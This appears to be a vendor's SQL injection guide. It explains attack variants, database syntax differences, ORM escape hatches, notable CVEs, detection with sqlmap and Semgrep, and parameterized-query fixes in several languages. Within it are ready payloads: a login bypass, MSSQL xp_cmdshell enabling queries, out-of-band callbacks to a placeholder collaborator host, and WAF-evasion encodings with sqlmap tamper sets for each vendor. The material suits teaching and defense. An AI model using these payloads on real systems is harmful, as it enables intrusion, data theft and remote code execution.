SQL injection (CWE-89, OWASP A03:2021) manipulates database queries to extract credentials, bypass authentication, and achieve RCE via xp_cmdshell or COPY TO PROGRAM.
TL;DR
$queryRawUnsafe, text() f-strings, raw()) bypass all ORM protectionsSQL injection (SQLi) is a web security vulnerability where user-controlled data is concatenated into SQL queries without parameterization, causing the database engine to parse attacker-supplied SQL syntax as part of the legitimate query structure (CWE-89: Improper Neutralization of Special Elements used in an SQL Command). The database has no mechanism to distinguish between developer-intended SQL and attacker-injected payload — it executes both.
This is categorically distinct from NoSQL injection (CWE-943), which targets document stores via operator injection ($ne, $where), from command injection (CWE-78), which targets OS shells, and from code injection (CWE-94), which targets application-layer interpreters. SQLi is bounded to the SQL database layer — except when the database itself provides OS bridges: MSSQL's xp_cmdshell, PostgreSQL's COPY TO PROGRAM, and MySQL's INTO OUTFILE each convert SQL injection into OS command execution.
OWASP places Injection at A03:2021 in the current Top 10, with CWE-89 mapping to 14,000+ CVEs in NVD. CWE-89 ranked #3 on MITRE/CISA's CWE Top 25 Most Dangerous Weaknesses (2024). The 2024 Verizon DBIR attributed 26% of all data breaches partly to web application attacks where SQLi is the primary vector. Aikido Security's 2024 scan of open-source packages found SQLi in 6.7% of all packages — organizations average 30 injectable code paths per codebase.
The root cause is string building. When application code constructs a query by concatenating user input — via +, f"", template literals, or sprintf — the database parser receives a single string it tokenizes as SQL. An injected single quote terminates the intended string literal and allows the attacker to append arbitrary SQL tokens.
The attack proceeds in five steps:
"SELECT * FROM users WHERE id='" + user_id + "'".cursor.execute(query).A minimal example — a login form vulnerable to authentication bypass:
POST /login HTTP/1.1
Host: vulnerable.example.com
Content-Type: application/x-www-form-urlencoded
username=admin'--&password=anything-- Query constructed by the application:
SELECT * FROM users WHERE username='admin'--' AND password='anything'
-- The -- comments out the password check; login succeeds without the correct password| Variant | Technique | Impact | Dedicated Page |
|---|---|---|---|
| Union-based | UNION SELECT appends attacker result set to original query | Direct data exfiltration (credentials, PII) | /learn/sqli-union |
| Error-based | Force DB error messages that embed query result data | Data extraction via error strings | /learn/sqli-error-based |
| Blind Boolean | TRUE/FALSE conditions produce structurally different responses | Char-by-char data extraction | /learn/sqli-blind-boolean |
| Time-based blind | Conditional SLEEP/WAITFOR DELAY encodes bits in response latency | Extraction when responses are identical | /learn/sqli-time-based |
| Out-of-band (OOB) | Database initiates DNS/HTTP to attacker listener | Exfil when all in-band channels are suppressed | /learn/sqli-oob |
| Stacked queries | ; terminates query and appends arbitrary SQL statement | UPDATE/DROP/EXEC xp_cmdshell → RCE | Covered below |
| Second-order | Payload stored in one request, executed in another | Bypasses entry-point WAFs and input validation | Covered below |
Union-based is the most direct data extraction path but requires knowing the column count and having at least one string-compatible column reflected in the response. The standard enumeration: ORDER BY N-- incremented until error, then UNION SELECT NULL,NULL,...-- to confirm, then replace NULLs with 'a' to find string-compatible columns.
Stacked queries are DBMS-dependent. MSSQL and PostgreSQL support multi-statement execution natively. MySQL requires the PDO multi_statements flag. Oracle does not support stacked queries. The primary RCE chain on MSSQL:
'; EXEC sp_configure 'show advanced options',1; RECONFIGURE;
'; EXEC sp_configure 'xp_cmdshell',1; RECONFIGURE;
'; EXEC xp_cmdshell 'whoami';--Second-order injection stores the payload at one endpoint and executes it when another endpoint retrieves the stored value into a new unsanitized query. Standard DAST scanners miss this because no error, timing difference, or response change occurs at the injection point. A user registers as admin'--; the application stores the value. When an admin reset script runs UPDATE accounts SET password='$new' WHERE username='admin'--', the trailing -- comments out the WHERE clause suffix, resetting the real admin password instead.
Understanding DBMS-specific syntax is required for manual exploitation and tamper script selection. This table is the reference for "sql injection cheat sheet" queries — the most-searched SQLi long-tail keyword.
| Feature | MySQL | PostgreSQL | MSSQL | Oracle | SQLite |
|---|---|---|---|---|---|
| Time delay | SLEEP(N) | pg_sleep(N) | WAITFOR DELAY '0:0:N' | dbms_pipe.receive_message('a',N) | randomblob(N*1000000) |
| Version | @@version | version() | @@version | v$version | sqlite_version() |
| String concat | CONCAT() or space | || | + | || | || |
| Comments | # or -- | -- | -- | -- | -- |
| Error function | EXTRACTVALUE() | CAST(x AS int) | CONVERT(int,x) | CTXSYS.DRITHSX.SN() | LIKE CPU method |
| OOB primitive | LOAD_FILE() UNC | COPY TO PROGRAM | xp_dirtree DNS | UTL_HTTP / UTL_INADDR | None |
| Stacked queries | Partial (PDO) | Yes | Yes | No | Yes |
| FROM required | No | No | No | Yes (FROM DUAL) | No |
| Schema table | information_schema | information_schema | sysobjects + information_schema | all_tables | sqlite_master |
Oracle's FROM DUAL requirement catches many payloads written for other databases: ' UNION SELECT NULL,banner,NULL FROM v$version WHERE rownum=1-- is Oracle-specific. MySQL's # comment style and DISTINCTROW keyword (UNION DISTINCTROW SELECT) bypass simple regex filters that block UNION SELECT.
ORMs do not provide universal protection. Every major ORM exposes escape hatch functions that bypass parameterization entirely — and these are where CVEs concentrate in 2024-2025.
The naming is deceptive: Prisma's $queryRaw (tagged template literal) is safe. $queryRawUnsafe is unsafe by design — it accepts a raw string. Django's filter(username=value) is safe; filter(**user_dict) with unvalidated keys is injectable (CVE-2025-64459). Knowing the safe vs. unsafe API surface is more important than avoiding ORMs.
Prisma ($queryRawUnsafe)
// VULNERABLE — string interpolation bypasses all ORM protection
const users = await prisma.$queryRawUnsafe(
`SELECT * FROM "User" WHERE email = '${untrustedInput}'`
);
// SAFE — tagged template literal auto-parameterizes
const users = await prisma.$queryRaw`SELECT * FROM "User" WHERE email = ${untrustedInput}`;SQLAlchemy (text() with f-strings)
# VULNERABLE — f-string inside text() defeats parameterization
result = db.execute(text(f"SELECT * FROM users WHERE name = '{name}'"))
# SAFE — named bound parameters
result = db.execute(text("SELECT * FROM users WHERE name = :name"), {"name": name})Django (raw(), extra(), filter(**user_dict))
# VULNERABLE — f-string in raw()
User.objects.raw(f"SELECT * FROM users WHERE name = '{name}'")
# SAFE — positional parameter
User.objects.raw("SELECT * FROM users WHERE name = %s", [name])
# VULNERABLE — CVE-2025-64459 pattern: unvalidated dict expansion
results = MyModel.objects.filter(**user_supplied_dict)
# malicious dict: {"username": "admin", "_connector": "OR"}
# reshapes the Q() tree, injecting SQL into WHERE clause
# SAFE — only allow known field names
ALLOWED_FIELDS = {"username", "email"}
safe_dict = {k: v for k, v in user_dict.items() if k in ALLOWED_FIELDS}
results = MyModel.objects.filter(**safe_dict)Sequelize (query() with interpolation)
// VULNERABLE — template literal
await sequelize.query(`SELECT * FROM users WHERE id = ${userId}`);
// SAFE — replacements
await sequelize.query("SELECT * FROM users WHERE id = ?", {
replacements: [userId],
type: QueryTypes.SELECT,
});
// VULNERABLE — CVE-2023-25813 pattern (Sequelize < 6.19.1)
// Combining replacements + where options caused injection
await sequelize.query("SELECT * FROM users WHERE lastName = :lastName", {
replacements: { lastName },
where: { ... } // DO NOT combine these options
});Hibernate (createQuery() with concatenation)
// VULNERABLE — HQL string concatenation (CVE-2020-25638 pattern)
session.createQuery("FROM User WHERE name = '" + input + "'").list();
// SAFE — named parameter
session.createQuery("FROM User WHERE name = :name")
.setParameter("name", input)
.list();WAFs are a detection layer, not a prevention layer. A WAF that blocks known payloads provides no protection against the following techniques.
JSON-based WAF bypass (Team82/Claroty, 2022): Palo Alto Networks, AWS WAF, Cloudflare, F5 BIG-IP, and Imperva all failed to inspect JSON-formatted SQL injection payloads. All five vendors patched after coordinated disclosure. Older deployments and custom rule configurations remain exposed. The core insight: WAF SQL inspection rules assume application/x-www-form-urlencoded bodies; switching to application/json or multipart/form-data bypasses most rulesets without any payload modification.
JSON operator injection (PostgreSQL, MySQL, SQLite)
-- PostgreSQL: WAF sees JSON containment operator, DB executes SQL context
'{"b":2}'::jsonb <@ '{"a":1, "b":2}'::jsonb
-- MySQL: JSON_EXTRACT wraps the injection point
OR JSON_LENGTH('{}') <= 8896 UNION SELECT @@version--
-- MySQL DISTINCTROW (bypasses UNION SELECT regex)
UNION DISTINCTROW SELECT 1,version(),3--Comment injection and keyword fragmentation
UN/**/ION SEL/**/ECT -- comment breaks keyword
UNI%0bON SEL%0bECT -- vertical tab (0x0B) as space substitute
%55nion %53elect -- URL-encoded first character
UNIUNIONON SELSELECTECT -- keyword nesting (WAF strips once, remainder valid)
/*!UNION*/ /*!SELECT*/ -- MySQL conditional comment (only executes on MySQL)Encoding and case variation
UnIoN SeLeCt -- case mixing defeats case-sensitive filters
%2527 → %27 → ' -- double URL encoding
ʼ (U+02BC) -- Unicode lookalike normalizes to apostrophe
SELECT (fullwidth) -- NFKC normalization → SELECTsqlmap tamper scripts by WAF vendor
| WAF | Tamper scripts |
|---|---|
| Cloudflare | charencode,randomcase,between,greatest |
| AWS WAF | between,hex2char,charencode |
| F5 BIG-IP | randomcase,charencode,versionedmorekeywords |
| Imperva | charencode,equaltolike,randomcase,space2comment |
| ModSecurity | modsecurityzeroversioned,space2comment,between |
| CVE | Product | CVSS | Auth | Status |
|---|---|---|---|---|
| CVE-2024-43468 | Microsoft SCCM (MP_Location) | 9.8 | None | CISA KEV, patched KB5044285 |
| CVE-2025-25257 | Fortinet FortiWeb Fabric Connector | 9.6 | None | Active exploitation July 2025 |
| CVE-2024-1597 | PostgreSQL JDBC (preferQueryMode=SIMPLE) | 10.0 | None | Fixed pgjdbc 42.7.2+ |
| CVE-2025-1094 | PostgreSQL libpq quoting APIs | 8.1 | None | Fixed in 13.19/14.16/15.11/16.7/17.3 |
| CVE-2025-25181 | Advantive VeraCore (PmSess1 param) | 7.5 | None | CISA KEV, patched 2025.1.1.3 |
| CVE-2024-42005 | Django QuerySet JSONField values() | 9.8 | None | Fixed 4.2.15, 5.0.8 |
| CVE-2025-64459 | Django Q() _connector/_negated | 9.1 | None | Fixed 4.2.26, 5.1.14, 5.2.8 |
| CVE-2023-25813 | Sequelize replacements+where | 10.0 | None | Fixed 6.19.1+ |
| CVE-2023-34362 | Progress MOVEit Transfer | 9.8 | None | CISA KEV, 80% US corps affected |
CVE-2024-43468 — Microsoft SCCM (CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H)
The getMachineID and getContentID functions in the SCCM MP_Location service concatenate user input directly into SQL queries. An unauthenticated HTTP request triggers the injection, which enables xp_cmdshell activation and full RCE on the SCCM server in the high-privilege machine account context. Synacktiv published a public PoC on 2024-11-26. CISA added it to the KEV catalog on 2026-02-12 with a federal patch deadline of 2026-03-05.
CVE-2025-25257 — Fortinet FortiWeb (active exploitation confirmed July 2025)
Pre-auth SQL injection in get_fabric_user_by_token() via the Authorization: Bearer header. The endpoint /api/fabric/device/status accepts Bearer AAAAAA'or'1'='1 and returns 200 OK with device information instead of 401 Unauthorized. The full impact chain: auth bypass → MySQL INTO OUTFILE → Python .pth site-packages hijack → pre-auth RCE as root. WatchTowr Labs published the full chain analysis.
CVE-2025-1094 — PostgreSQL libpq quoting (CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:H/A:H)
Reported by Stephen Fewer at Rapid7. The PostgreSQL PQescapeLiteral(), PQescapeIdentifier(), PQescapeString(), and PQescapeStringConn() functions fail to neutralize injection when input contains characters that fail encoding validation. A client_encoding=BIG5 combined with server_encoding=EUC_TW collapses the escape sequence, making code that calls PostgreSQL's own "safe" quoting APIs still injectable.
HackerOne disclosures: HackerOne #383127 — Valve Steam, report_xml.php array parameter injection, $25,000 bounty. HackerOne #868436 — Mail.ru city-mobil.ru, time-based blind via standard parameter, $15,000. HackerOne #2646493 — Internet Bug Bounty, Django CVE-2024-42005 ORM injection without any raw SQL. HackerOne #435066 — SQL injection in HackerOne's own /graphql endpoint via embedded_submission_form_uuid.
Notable breaches: Heartland Payment Systems (2008, 130 million credit/debit cards via SQL injection in payment processing). MOVEit Transfer (2023, CVE-2023-34362, zero-day SQLi affecting 2,600+ organizations including the BBC, Aon, and multiple US federal agencies). Equifax (2017, 143 million SSNs — the Apache Struts CVE involved SQLi-style input handling flaws).
X-Forwarded-For, User-Agent, Referer, Cookie), GraphQL arguments, gRPC fields.' in each parameter. Observe: database error messages (MySQL syntax error, ORA-00933, pg_exception), response size changes, HTTP 500 responses.AND 1=1-- (expect baseline response) vs AND 1=2-- (expect altered response). A boolean differential with ≥10% body similarity delta is a strong signal.AND SLEEP(2)-- and measure delta T1; inject AND SLEEP(5)-- and measure delta T2. Genuine injection produces T2/T1 ≈ 2.5. A single spike without scaling is network jitter, not injection.'; EXEC master..xp_dirtree '//YOUR.oastify.com/a'-- (MSSQL) or '; SELECT pg_sleep(0) FROM COPY (SELECT '') TO PROGRAM 'nslookup YOUR.oastify.com'-- (PostgreSQL). Monitor Burp Collaborator or Interactsh for DNS callbacks.?sort=1; WAITFOR DELAY '0:0:5'--.sqlmap (current DAST standard) with a two-pass strategy:
# Probe pass (30 seconds) — establish DBMS and technique
sqlmap -u "https://target.com/search?q=test" \
--technique=BEUST --level=2 --risk=1 \
--batch --timeout=1 --dbms=auto
# Deep pass (90–180 seconds) — after PROBABLE confirmed
sqlmap -u "https://target.com/search?q=test" \
--technique=BEUST --level=3 --risk=2 \
--batch --timeout=3 --time-sec=10
# WAF bypass — Cloudflare
sqlmap -u "https://target.com/search?q=test" \
--tamper=charencode,randomcase,between,greatest \
--random-agent --delay=0.5
# Second-order injection
sqlmap -u "https://target.com/store" --data="field=*" \
--second-url="https://target.com/trigger" \
--technique=BEUST --level=2Semgrep SAST (semgrep --config p/sql-injection) detects string concatenation into query calls in Python, Java, JavaScript/TypeScript, PHP, Go, and Ruby at CI/CD time — before deployment.
CodeQL builds a full data-flow graph and traces tainted HTTP input across function calls to SQL execution sinks. Run Semgrep on every PR and CodeQL nightly for complementary coverage.
DAST vs. SAST trade-off: SAST catches 100% of the codebase including dead code but generates false positives from missing context. DAST covers only reachable endpoints but produces low false positives with proof-based confirmation. IAST (runtime instrumentation) bridges both. CISA's March 2024 Secure by Design Alert calls for eliminating SQLi at the language/framework level, not just detecting it post-deployment.
BreachVex detects SQL injection through multiple complementary techniques: single-quote and error-keyword probing, boolean true/false differential analysis, proportional time-delay validation, and out-of-band DNS callback confirmation — every finding is escalated to a working proof of exploitation.
import psycopg2
from sqlalchemy import text
# VULNERABLE — string concatenation
cursor.execute("SELECT * FROM users WHERE username = '" + username + "'")
cursor.execute(f"SELECT * FROM users WHERE id = {user_id}")
# SAFE — parameterized (psycopg2)
cursor.execute("SELECT * FROM users WHERE username = %s", (username,))
cursor.execute("SELECT * FROM users WHERE id = %s", (user_id,))
# SAFE — SQLAlchemy ORM
user = session.query(User).filter(User.username == username).first()
# VULNERABLE — text() with f-string
result = db.execute(text(f"SELECT * FROM users WHERE name = '{name}'"))
# SAFE — text() with bound parameter
result = db.execute(text("SELECT * FROM users WHERE name = :name"), {"name": name})// VULNERABLE — template literal
await client.query(`SELECT * FROM users WHERE username = '${username}'`);
// SAFE — pg parameterized
const result = await client.query(
"SELECT * FROM users WHERE username = $1",
[username]
);
// SAFE — Sequelize ORM
const user = await User.findOne({ where: { username } });
// VULNERABLE — Sequelize raw
await sequelize.query(`SELECT * FROM users WHERE id = ${userId}`);
// SAFE — Sequelize replacements
await sequelize.query("SELECT * FROM users WHERE id = ?", {
replacements: [userId],
type: QueryTypes.SELECT,
});
// SAFE — Prisma tagged template (NOT $queryRawUnsafe)
const users = await prisma.$queryRaw`SELECT * FROM "User" WHERE email = ${email}`;// VULNERABLE — string concatenation
String query = "SELECT * FROM users WHERE username = '" + username + "'";
Statement stmt = conn.createStatement();
// SAFE — PreparedStatement
PreparedStatement stmt = conn.prepareStatement(
"SELECT * FROM users WHERE username = ?"
);
stmt.setString(1, username);
ResultSet rs = stmt.executeQuery();
// SAFE — JPA named parameter
@Query("SELECT u FROM User u WHERE u.username = :username")
User findByUsername(@Param("username") String username);
// SAFE — Hibernate named parameter
session.createQuery("FROM User WHERE name = :name")
.setParameter("name", input).list();// VULNERABLE — string interpolation
$query = "SELECT * FROM users WHERE username = '$username'";
$result = mysqli_query($conn, $query);
// SAFE — PDO prepared statement
$stmt = $pdo->prepare("SELECT * FROM users WHERE username = ?");
$stmt->execute([$username]);
// SAFE — MySQLi prepared statement
$stmt = $mysqli->prepare("SELECT * FROM users WHERE username = ?");
$stmt->bind_param("s", $username);
$stmt->execute();// VULNERABLE — string formatting
query := fmt.Sprintf("SELECT * FROM users WHERE username = '%s'", username)
rows, err := db.Query(query)
// SAFE — parameterized
rows, err := db.Query("SELECT * FROM users WHERE username = $1", username)# VULNERABLE — string interpolation
User.where("username = '#{params[:username]}'")
# SAFE — parameterized
User.where("username = ?", params[:username])
User.where(username: params[:username]) # hash syntax, always safe// VULNERABLE — string concatenation
string query = "SELECT * FROM Users WHERE Username = '" + username + "'";
SqlCommand cmd = new SqlCommand(query, conn);
// SAFE — SqlCommand parameters
SqlCommand cmd = new SqlCommand(
"SELECT * FROM Users WHERE Username = @username", conn);
cmd.Parameters.AddWithValue("@username", username);
// SAFE — EF Core LINQ (auto-parameterized)
var user = context.Users.Where(u => u.Username == username).FirstOrDefault();
// VULNERABLE — EF raw SQL with interpolation
var user = context.Users.FromSqlRaw($"SELECT * FROM Users WHERE Username = '{username}'");
// SAFE — EF raw SQL with parameter
var user = context.Users.FromSqlRaw(
"SELECT * FROM Users WHERE Username = {0}", username);Least privilege DB accounts: separate database users per application function — login page gets SELECT on the users table only; signup gets INSERT; never grant DBA, SUPER, FILE, or EXECUTE ON xp_cmdshell. An attacker who achieves SQLi against a db_owner account has full database control; against a minimal SELECT-only account, impact is read-only.
Stored procedures with caveats: stored procedures provide equal protection only when they do not use dynamic SQL internally. An Oracle procedure using EXECUTE IMMEDIATE 'SELECT * FROM users WHERE name = ''' || p_name || '''' is just as vulnerable as application-layer concatenation. Use bind variables: EXECUTE IMMEDIATE 'SELECT * FROM users WHERE name = :name' USING p_name.
Database Activity Monitoring (DAM): runtime detection layer — alert on queries containing UNION, SLEEP, WAITFOR, xp_cmdshell, or bulk extraction patterns (>N rows from sensitive tables). PostgreSQL pgaudit, Oracle Unified Auditing, and MSSQL Server Audit provide database-level logs that WAFs cannot see.
OWASP's SQL Injection Prevention Cheat Sheet explicitly classifies escaping as "STRONGLY DISCOURAGED" as a primary defense. Five reasons: (1) Escape rules differ per database — correct for MySQL, wrong for Oracle. (2) Numeric parameters and identifiers (table names, ORDER BY columns) cannot be safely escaped — only allow-listed. (3) Multi-byte encoding attacks (CVE-2025-1094 demonstrates BIG5+EUC_TW collapsing PostgreSQL's own escape functions). (4) Second-order injection defeats escaping by design — escaped data stored in the database returns to its original form on retrieval. (5) Human error — a single unescaped input path in a codebase of thousands collapses the entire defense. CISA's March 2024 Secure by Design Alert calls on vendors to eliminate SQL injection as a vulnerability class, not mitigate individual instances.
What is SQL injection? SQL injection (SQLi, CWE-89) is a vulnerability where user-supplied input is concatenated into SQL queries without parameterization, causing the database to execute attacker-controlled payload as part of the query structure. Impact ranges from data disclosure and authentication bypass to full database takeover and OS-level RCE.
What is the difference between SQL injection and NoSQL injection?
SQL injection (CWE-89) targets relational databases via SQL syntax injection. NoSQL injection (CWE-943) targets document stores like MongoDB by injecting query operators ($ne, $gt, $where) into JSON query objects. Different payloads, different prevention APIs — both bypass authentication and exfiltrate data.
What is second-order (stored) SQL injection?
Second-order injection stores a payload in one endpoint and executes it when another endpoint retrieves the stored value into a new unsanitized query. Standard scanners miss this because the injection point and execution point are different requests. Use sqlmap --second-url or manual code tracing.
Can SQL injection lead to remote code execution?
Yes. MSSQL: xp_cmdshell activation via stacked queries yields full OS RCE. PostgreSQL: COPY TO PROGRAM executes shell commands. MySQL: INTO OUTFILE writes webshells to disk. CVE-2025-25257 (FortiWeb) demonstrated the full chain: pre-auth SQLi → RCE as root.
Does using an ORM protect against SQL injection?
Partially. ORM query builder methods are safe by default. Escape hatches bypass all protection: Prisma $queryRawUnsafe, SQLAlchemy text() with f-strings, Django raw(), extra(), and filter(**unvalidated_dict) (CVE-2025-64459). Audit every raw query call in your codebase.
Are prepared statements enough to prevent SQL injection?
In most cases, yes. Two edge cases remain: identifiers cannot be parameterized (use allow-lists); some drivers have implementation bugs (CVE-2024-1597: PostgreSQL JDBC preferQueryMode=SIMPLE silently falls back to literal queries, CVSS 10.0).
What is a WAF JSON bypass for SQL injection? Team82/Claroty (2022) discovered that five major WAF vendors did not inspect JSON-formatted SQL payloads. All patched after coordinated disclosure. Older deployments remain exposed. WAFs are a detection layer — they cannot replace parameterized queries.
What percentage of data breaches involve SQL injection? The 2024 Verizon DBIR: 26% of all data breaches. CWE-89 ranks #3 on MITRE/CISA CWE Top 25 (2024). 4 SQLi CVEs added to CISA KEV in 2024. Aikido Security: 6.7% of scanned open-source packages contain SQLi.
What is CVE-2025-1094?
CVSS 8.1. PostgreSQL 13–17 libpq quoting functions (PQescapeLiteral, PQescapeString) fail to neutralize injection when a specific multi-byte encoding combination (BIG5 + EUC_TW) collapses the escape sequence. Reported by Stephen Fewer at Rapid7, published February 2025.
How do I detect SQL injection?
Manual: single quote test, boolean differential (AND 1=1 vs AND 1=2), proportional time delay (SLEEP(2) vs SLEEP(5), ratio ≈ 2.5). Automated: sqlmap for DAST, Semgrep p/sql-injection for SAST, Burp Suite Pro with Collaborator for OOB blind variants.
What is the sql injection cheat sheet for different databases?
MySQL: SLEEP(N), EXTRACTVALUE, # comment. PostgreSQL: pg_sleep(N), CAST AS int. MSSQL: WAITFOR DELAY '0:0:N', CONVERT(int,x). Oracle: dbms_pipe.receive_message, FROM DUAL required. SQLite: randomblob(N) CPU delay. See the Database Engine Differences table above.
Should I use input sanitization or parameterized queries? Parameterized queries. OWASP classifies escaping as "strongly discouraged." Encoding attacks (CVE-2025-1094), second-order injection, and identifier injection cannot be addressed by escaping. Parameterized queries separate code and data at the protocol level — the only defense that holds universally.
What are the most famous SQL injection attacks? Heartland Payment Systems (2008, 130 million cards). MOVEit Transfer (2023, 2,600+ organizations, CISA KEV). Equifax (2017, 143 million SSNs). Sony PSN (2011, 77 million users). These breaches collectively affected over 500 million individuals and resulted in billions in regulatory fines and remediation costs.
SQL injection (SQLi, CWE-89) is a vulnerability where user-supplied input is concatenated into a SQL query without parameterization. The database executes both the intended query structure and the attacker-controlled payload simultaneously. Impact ranges from data disclosure and authentication bypass to full database takeover and OS-level RCE.
SQL injection (CWE-89) targets relational databases by injecting SQL syntax into query strings. NoSQL injection (CWE-943) targets document stores like MongoDB by injecting query operators ($ne, $gt, $regex, $where) into JSON bodies. SQL injection exploits string concatenation into SQL; NoSQL injection exploits unsanitized object spreading into query objects. Both bypass authentication and exfiltrate data, but the payloads and mitigation APIs are entirely different.
SQL injection manipulates a database query parser to read or modify data. Command injection (CWE-78) manipulates an OS shell to execute arbitrary binaries. SQL injection is constrained to the database layer; command injection can compromise the full operating system. However, on MSSQL, a chained xp_cmdshell attack converts SQL injection into OS command execution.
Second-order injection stores a payload in one endpoint (registration, profile update) and executes it when another endpoint retrieves the stored value and embeds it in a new SQL query without parameterization. Standard scanners miss this because the injection point and the execution point are different requests. Detection requires tracing stored values through code or using sqlmap --second-url.
Blind SQL injection covers two subtypes. Boolean-based blind injects true/false conditions and infers data from structurally different responses (content change, redirect, 'Welcome back' presence). Time-based blind injects conditional sleep functions (SLEEP, WAITFOR DELAY, pg_sleep) and measures response latency. Neither variant requires visible error messages or reflected data.
OOB SQL injection triggers outbound network connections from the database server to an attacker-controlled listener. MSSQL uses xp_dirtree for DNS exfiltration. Oracle uses UTL_HTTP or UTL_INADDR. PostgreSQL uses COPY TO PROGRAM. Data is encoded in DNS subdomains or HTTP paths. OOB is used when all in-band channels are suppressed and time-based is too slow.
Yes. On MSSQL: xp_cmdshell enables OS command execution via stacked queries, yielding full RCE. On PostgreSQL: COPY TO PROGRAM executes shell commands (requires pg_execute_server_program role). On MySQL: INTO OUTFILE can write a PHP webshell to a web-accessible path if FILE privilege is granted and secure_file_priv is empty. CVE-2025-25257 (FortiWeb) demonstrated pre-auth SQLi → MySQL INTO OUTFILE → Python .pth hijack → RCE as root.
In 2022, Team82 (Claroty) discovered that Palo Alto, AWS WAF, Cloudflare, F5, and Imperva all failed to inspect JSON-formatted SQL injection payloads. Databases support native JSON operators (PostgreSQL ::jsonb, MySQL JSON_EXTRACT, SQLite ->) that embed SQL context inside JSON syntax. Since WAFs only parsed JSON as data, not SQL, the injections bypassed all rules. All five vendors patched after coordinated disclosure, but older deployments and custom rulesets may remain vulnerable.
Partially. ORM query builder methods (Django filter(), SQLAlchemy query(), Sequelize findOne()) are safe by default. But every ORM has escape hatches that bypass all protection: Prisma $queryRawUnsafe(), SQLAlchemy text() with f-strings, Django raw() and extra(), Sequelize query() with string interpolation, Hibernate createQuery() with string concatenation. CVE-2024-42005 demonstrated that even standard Django ORM calls can be injectable through JSON column alias construction.
Prepared statements are the primary defense and eliminate injection in the vast majority of cases. Two edge cases remain: (1) identifiers (table names, column names, ORDER BY direction) cannot be parameterized and must be allow-listed; (2) some drivers have implementation bugs — CVE-2024-1597 (PostgreSQL JDBC, CVSS 10.0) showed that preferQueryMode=SIMPLE silently falls back to literal query construction, making parameterized calls vulnerable. Upgrade drivers and audit all raw query usage.
Manual: append a single quote to each parameter and observe error messages, response size changes, or server errors. Send AND 1=1 vs AND 1=2 and compare responses. Send SLEEP(5) and measure latency. Automated: sqlmap -u TARGET --batch --dbs for DAST. Semgrep rule p/sql-injection for SAST. Burp Suite Pro active scanner with Collaborator OOB for blind variants.
The 2024 Verizon DBIR attributed 26% of all data breaches partly to web application attacks, with SQL injection as a primary vector. CWE-89 ranks #3 on MITRE/CISA CWE Top 25 Most Dangerous Weaknesses (2024). CISA added 4 SQL injection CVEs to the Known Exploited Vulnerabilities catalog in 2024 alone. Aikido Security found SQLi in 6.7% of all scanned open-source packages.
CVE-2025-1094 (CVSS 8.1) affects PostgreSQL 13–17 before patched minor versions. The quoting functions PQescapeLiteral(), PQescapeIdentifier(), and PQescapeString() fail to neutralize injection when input contains characters that fail encoding validation. A specific multi-byte encoding combination (BIG5 + EUC_TW or MULE_INTERNAL) collapses the quote escape, making code that uses 'safe' PostgreSQL APIs still injectable. Reported by Stephen Fewer at Rapid7 and published February 2025.
Key differences by database: MySQL uses SLEEP(N) for time delay, EXTRACTVALUE for error-based, CONCAT() for strings, # or -- for comments. PostgreSQL uses pg_sleep(N), CAST as int for errors, || for strings. MSSQL uses WAITFOR DELAY '0:0:N', CONVERT for errors, + for strings. Oracle uses dbms_pipe.receive_message for delays, UTL_HTTP for OOB, || for strings, requires FROM DUAL. SQLite uses randomblob() for CPU-based delays, sqlite_master for schema enumeration.
Parameterized queries. OWASP explicitly states that escaping/sanitization is 'STRONGLY DISCOURAGED' as a primary defense. Reasons: different escape rules per database make it easy to get wrong; numeric parameters and identifiers cannot be safely escaped; multi-byte encoding attacks (CVE-2025-1094) bypass even the database's own escape functions; second-order injection defeats escaping by design. Only parameterized queries guarantee separation of code and data at the protocol level.